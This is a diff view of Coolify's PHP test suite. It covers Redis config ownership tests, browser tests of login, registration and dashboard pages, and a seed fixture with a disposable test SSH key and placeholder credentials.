expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
});
test('redis config chown command is not added when redis_conf is null', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
$action->database = $database;
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
expect($action->commands)->toBeEmpty();
});
test('redis config chown command is not added when redis_conf is empty', function () {
$action = new StartRedis;
$action->configuration_dir = '/data/coolify/databases/test-uuid';
$action->commands = [];
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
$action->database = $database;
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
}
expect($action->commands)->toBeEmpty();
});
+162
View File
@@ -0,0 +1,162 @@
<?php
use App\Enums\ProxyStatus;
use App\Enums\ProxyTypes;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Hash;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::create(['id' => 0]);
$this->user = User::factory()->create([
'id' => 0,
'name' => 'Root User',
'email' => 'test@example.com',
'password' => Hash::make('password'),
]);
PrivateKey::create([
'id' => 1,
'uuid' => 'ssh-test',
'team_id' => 0,
'name' => 'Test Key',
'description' => 'Test SSH key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
]);
Server::create([
'id' => 0,
'uuid' => 'localhost',
'name' => 'localhost',
'description' => 'This is a test docker container in development mode',
'ip' => 'coolify-testing-host',
'team_id' => 0,
'private_key_id' => 1,
'proxy' => [
'type' => ProxyTypes::TRAEFIK->value,
'status' => ProxyStatus::EXITED->value,
],
]);
Server::create([
'uuid' => 'production-1',
'name' => 'production-web',
'description' => 'Production web server cluster',
'ip' => '10.0.0.1',
'team_id' => 0,
'private_key_id' => 1,
'proxy' => [
'type' => ProxyTypes::TRAEFIK->value,
'status' => ProxyStatus::EXITED->value,
],
]);
Server::create([
'uuid' => 'staging-1',
'name' => 'staging-server',
'description' => 'Staging environment server',
'ip' => '10.0.0.2',
'team_id' => 0,
'private_key_id' => 1,
'proxy' => [
'type' => ProxyTypes::TRAEFIK->value,
'status' => ProxyStatus::EXITED->value,
],
]);
Project::create([
'uuid' => 'project-1',
'name' => 'My first project',
'description' => 'This is a test project in development',
'team_id' => 0,
]);
Project::create([
'uuid' => 'project-2',
'name' => 'Production API',
'description' => 'Backend services for production',
'team_id' => 0,
]);
Project::create([
'uuid' => 'project-3',
'name' => 'Staging Environment',
'description' => 'Staging and QA testing',
'team_id' => 0,
]);
});
function loginAndSkipOnboarding(): mixed
{
return visit('/login')
->fill('email', 'test@example.com')
->fill('password', 'password')
->click('Login')
->click('Skip Setup');
}
it('redirects to login when not authenticated', function () {
$page = visit('/');
$page->assertPathIs('/login')
->screenshot();
});
it('shows onboarding after first login', function () {
$page = visit('/login');
$page->fill('email', 'test@example.com')
->fill('password', 'password')
->click('Login')
->assertSee('Welcome to Coolify')
->assertSee("Let's go!")
->assertSee('Skip Setup')
->screenshot();
});
it('shows dashboard after skipping onboarding', function () {
$page = loginAndSkipOnboarding();
$page->assertSee('Dashboard')
->assertSee('Your self-hosted infrastructure.')
->screenshot();
});
it('shows all projects on dashboard', function () {
$page = loginAndSkipOnboarding();
$page->assertSee('Projects')
->assertSee('My first project')
->assertSee('This is a test project in development')
->assertSee('Production API')
->assertSee('Backend services for production')
->assertSee('Staging Environment')
->assertSee('Staging and QA testing')
->screenshot();
});
it('shows servers on dashboard', function () {
$page = loginAndSkipOnboarding();
$page->assertSee('Servers')
->assertSee('localhost')
->assertSee('This is a test docker container in development mode')
->assertSee('production-web')
->assertSee('Production web server cluster')
->assertSee('staging-server')
->assertSee('Staging environment server')
->screenshot();
});
+52
View File
@@ -0,0 +1,52 @@
<?php
use App\Models\InstanceSettings;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Hash;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::create(['id' => 0]);
});
it('shows registration page when no users exist', function () {
$page = visit('/login');
$page->assertSee('Root User Setup')
->assertSee('Create Account')
->screenshot();
});
it('can login with valid credentials', function () {
User::factory()->create([
'id' => 0,
'email' => 'test@example.com',
'password' => Hash::make('password'),
]);
$page = visit('/login');
$page->fill('email', 'test@example.com')
->fill('password', 'password')
->click('Login')
->assertSee('Welcome to Coolify')
->screenshot();
});
it('fails login with invalid credentials', function () {
User::factory()->create([
'id' => 0,
'email' => 'test@example.com',
'password' => Hash::make('password'),
]);
$page = visit('/login');
$page->fill('email', 'random@email.com')
->fill('password', 'wrongpassword123')
->click('Login')
->assertSee('These credentials do not match our records')
->screenshot();
});
+67
View File
@@ -0,0 +1,67 @@
<?php
use App\Models\InstanceSettings;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::create(['id' => 0]);
});
it('shows registration page when no users exist', function () {
$page = visit('/register');
$page->assertSee('Root User Setup')
->assertSee('Create Account')
->screenshot();
});
it('can register a new root user', function () {
$page = visit('/register');
$page->fill('name', 'Test User')
->fill('email', 'root@example.com')
->fill('password', 'Password1!@')
->fill('password_confirmation', 'Password1!@')
->click('Create Account')
->assertPathIs('/onboarding')
->screenshot();
expect(User::where('email', 'root@example.com')->exists())->toBeTrue();
});
it('fails registration with mismatched passwords', function () {
$page = visit('/register');
$page->fill('name', 'Test User')
->fill('email', 'root@example.com')
->fill('password', 'Password1!@')
->fill('password_confirmation', 'DifferentPass1!@')
->click('Create Account')
->assertSee('password')
->screenshot();
});
it('fails registration with weak password', function () {
$page = visit('/register');
$page->fill('name', 'Test User')
->fill('email', 'root@example.com')
->fill('password', 'short')
->fill('password_confirmation', 'short')
->click('Create Account')
->assertSee('password')
->screenshot();
});
it('shows login link when a user already exists', function () {
User::factory()->create(['id' => 0]);
$page = visit('/register');
$page->assertSee('Already registered?')
->assertDontSee('Root User Setup')
->screenshot();
});
+18
View File
@@ -0,0 +1,18 @@
<?php
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
uses(RefreshDatabase::class);
it('uses sqlite for testing', function () {
expect(DB::connection()->getDriverName())->toBe('sqlite');
});
it('runs migrations successfully', function () {
expect(Schema::hasTable('users'))->toBeTrue();
expect(Schema::hasTable('teams'))->toBeTrue();
expect(Schema::hasTable('servers'))->toBeTrue();
expect(Schema::hasTable('applications'))->toBeTrue();
});